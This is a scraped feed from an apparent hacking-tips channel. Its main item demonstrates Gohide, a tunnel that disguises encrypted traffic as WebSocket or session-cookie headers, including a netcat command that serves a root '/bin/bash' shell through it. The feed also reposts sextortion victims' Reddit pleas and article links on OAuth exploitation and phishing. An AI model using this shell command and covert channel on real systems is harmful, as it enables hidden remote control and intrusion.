Hacking Articles Tips Tricks Videos Tutorials

14 views06:53

Kali Linux Tutorials
Gohide : Tunnel Port To Port Traffic Over An Obfuscated Channel With AES-GCM Encryption

Gohide, Tunnel port to port traffic via an obfuscated channel with AES-GCM encryption.

Obfuscation Modes

* Session Cookie HTTP GET (http-client)
* Set-Cookie Session Cookie HTTP/2 200 OK (http-server)
* WebSocket Handshake “Sec-WebSocket-Key” (websocket-client)
* WebSocket Handshake “Sec-WebSocket-Accept” (websocket-server)
* No obfuscation, just use AES-GCM encrypted messages (none)

AES-GCM is enabled by default for each of the options above.

Usage

root@WOPR-KALI:/opt/gohide-dev# ./gohide -h
Usage of ./gohide:
-f string
listen fake server -r x.x.x.x:xxxx (ip/domain:port) (default “0.0.0.0:8081”)
-key openssl passwd -1 -salt ok | md5sum
aes encryption secret: use ‘-k openssl passwd -1 -salt ok | md5sum’ to derive key from password (default “5fe10ae58c5ad02a6113305f4e702d07”)
-l string
listen port forward -l x.x.x.x:xxxx (ip/domain:port) (default “127.0.0.1:8080”)
-m string
obfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none (default “none”)
-pem string
path to .pem for TLS encryption mode: default = use hardcoded key pair ‘CN:target.com’, none = plaintext mode (default “default”)
-r string
forward to remote fake server -r x.x.x.x:xxxx (ip/domain:port) (default “127.0.0.1:9999”)

Scenario

Box A – Reverse Handler

root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:8081 -l 127.0.0.1:8080 -r target.com:9091 -m websocket-client
Local Port Forward Listening: 127.0.0.1:8080
FakeSrv Listening: 0.0.0.0:8081

Note: /etc/hosts “127.0.0.1 target.com”

Box B – Netcat /bin/bash

root@WOPR-KALI:/var/tmp# nc -e /bin/bash 127.0.0.1 9090

Box A – Netcat client

root@WOPR-KALI:/opt/gohide# nc -v 127.0.0.1 8080
localhost [127.0.0.1] 8080 (http-alt) open
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linux
netstat -pantwu
Active Internet connections (servers and established)
tcp 0 0 127.0.0.1:39684 127.0.0.1:8081 ESTABLISHED 14334/./gohide

Obfuscation Samples

websocket-client (Box A to Box B)

* Sec-WebSocket-Key contains AES-GCM encrypted content e.g. “uname -a”.

GET /news/api/latest HTTP/1.1
Host: cdn-tb0.gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: 6jZS+0Wg1IP3n33RievbomIuvh5ZdNMPjVowXm62
Sec-WebSocket-Version: 13

websocket-server (Box B to Box A)

* Sec-WebSocket-Accept contains AES-GCM encrypted output.

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: URrP5l0Z3NIHXi+isjuIyTSKfoP60Vw5d2gqcmI=

http-client

* Session cookie header contains AES-GCM encrypted content

GET /news/api/latest HTTP/1.1
Host: cdn-tbn0.gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://www.bbc.co.uk/
Connection: keep-alive
Cookie: Session=R7IJ8y/EBgCanTo6fc0fxhNVDA27PFXYberJNW29; Secure; HttpOnly

http-server

* Set-Cookie header contains AES-GCM encrypted content.

HTTP/2.0 200 OK
content-encoding: gzip
content-type: text/html; charset=utf-8
pragma: no-cache
server: nginx
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
cache-control: no-cache, no-store, must-revalidate
expires: Thu, 21 Nov 2019 01:07:15 GMT
date: Thu, 21 Nov 2019 01:07:15 GMT
content-length: 30330
vary: Accept-Encoding
X-Firefox-Spdy: h2
Set-Cookie: Session=gWMnQhh+1vkllaOxueOXx9/rLkpf3cmh5uUCmHhy; Secure; Path=/; HttpOnly

none

8JWxXufVora2FNa/8m2Vnub6oiA2raV4Q5tUELJA
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

Gohide : Tunnel Port To Port Traffic Over An Obfuscated Channel

Gohide, Tunnel port to port traffic via an obfuscated channel with AES-GCM encryption. Session Cookie HTTP GET (http-client).

14 viewsedited 06:53

Hacking Articles Tips Tricks Videos Tutorials

How to create a port scanner with bash script in one minute
https://medium.com/@brucevizentin/how-to-create-a-port-scanner-with-bash-script-in-one-minute-e724a930f2a0?source=rss------bug_bounty-5

Hello everyone, today I will show you how to create a Port Scanner in a minute on your Linux or any system with netcat installed.Continue reading on Medium » (https://medium.com/@brucevizentin/how-to-create-a-port-scanner-with-bash-script-in-one-minute-e724a930f2a0?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Medium

How to create a port scanner with bash script in one minute

Hello everyone, today I will show you how to create a Port Scanner in a minute on your Linux or any system with netcat installed.

13 viewsedited 07:11

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Me and some other girls are being blackmailed over content that was filmed by a known criminal

Someone is blackmailing me (25F) and some other girls over content that was filmed. The person blackmailing is a known criminal and is ruthless when there’s monetary gain involved. He bribes girls with money he won’t pay and pressures them into making content, but then leaves them in the dark and posts/sells the videos without their consent. I want to erase all of this content off the internet to ease the misery all of us girls have been living through. We are terrified of our reputations becoming tainted. Please advise me on what to do. Any help is appreciated. Thank you so much🙏🏻

submitted by /u/hypnotic-emerald
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Me and some other girls are being blackmailed over content that...

Someone is blackmailing me (25F) and some other girls over content that was filmed. The person blackmailing is a known criminal and is ruthless...

12 viewsedited 07:47

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Nmap + VPN problem

When connecting to a commercial VPN and then use nmap, the tool usually shows that all ports at the target are open or filtered which is obviously false positive.

Any ideas how/if this can be fixed?

submitted by /u/Kamelbaum1
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Nmap + VPN problem

When connecting to a commercial VPN and then use nmap, the tool usually shows that all ports at the target are open or filtered which is obviously...

9 viewsedited 07:47

Hacking Articles Tips Tricks Videos Tutorials

10 views07:47

Hacking Articles Tips Tricks Videos Tutorials

Photo

hacking: security in practice
18 Threat Hunting and OSINT Tools

submitted by /u/DigiTroy
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

18 Threat Hunting and OSINT Tools

Posted in r/hacking by u/DigiTroy • 2 points and 0 comments

10 viewsedited 07:47

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Is my pc safe or not

So last month, I accidentally downloaded a file and then a week later a random user sent me an email to all of the email that I have used/logged in on my computer. Even the trash emails are on the list. Attached to the email is a screenshot of my desktop and saying that he has hacked my computer(keyboards, microphone and camera) The screenshot was last 08/05 and he sent the email last 08/16 and was asking for a huge amount of money and also blackmailing me that he would release a lot of private information that he got from me. He also said that I only have 2 days to send the money to his bitcoin wallet or else he'll spread a video of me masturbating. So when I read the email(around 8/21) I immediately reformatted my pc and checked if there are malwares or anything suspicious or unusual. Then on 8/26, he sent another email using another dummy account. Attached to it is the same screenshot(08/05 screenshot) and the almost same script. The only difference was the amount of money he was asking and the bitcoin wallet address. And the other night he sent yet another email but still the same screenshot(08/05 screenshot) and the almost the same script as well. But the thing is, I have used 2 new GMAIL accounts in my pc and it was not on the list. Should I still be worried about this? Sorry if I have some grammatical errors, English is not my first language.

submitted by /u/Successful_Bet_2017
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Is my pc safe or not

So last month, I accidentally downloaded a file and then a week later a random user sent me an email to all of the email that I have used/logged...

13 viewsedited 07:47

Hacking Articles Tips Tricks Videos Tutorials

How to create a port scanner with bash script in one minute

Hello everyone, today I will show you how to create a Port Scanner in a minute on your Linux or any system with netcat installed.Continue reading on Medium »
Read more...

15 views07:51

Hacking Articles Tips Tricks Videos Tutorials

Exploiting OAuth authentication vulnerabilities Part III

OAuth ExploitationContinue reading on InfoSec Write-ups »
Read more...

11 views09:21

Hacking Articles Tips Tricks Videos Tutorials

10 views09:25

Hacking Articles Tips Tricks Videos Tutorials

Black Hat Ethical Hacking
A new Browser-in-the-Browser attack led hackers steal Steam accounts

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking

A new Browser-in-the-Browser attack led hackers steal Steam accounts | Black Hat Ethical Hacking

Hackers are launching new attacks to steal Steam credentials using a Browser-in-the-Browser phishing technique that is rising in popularity among threat actors.

10 viewsedited 09:25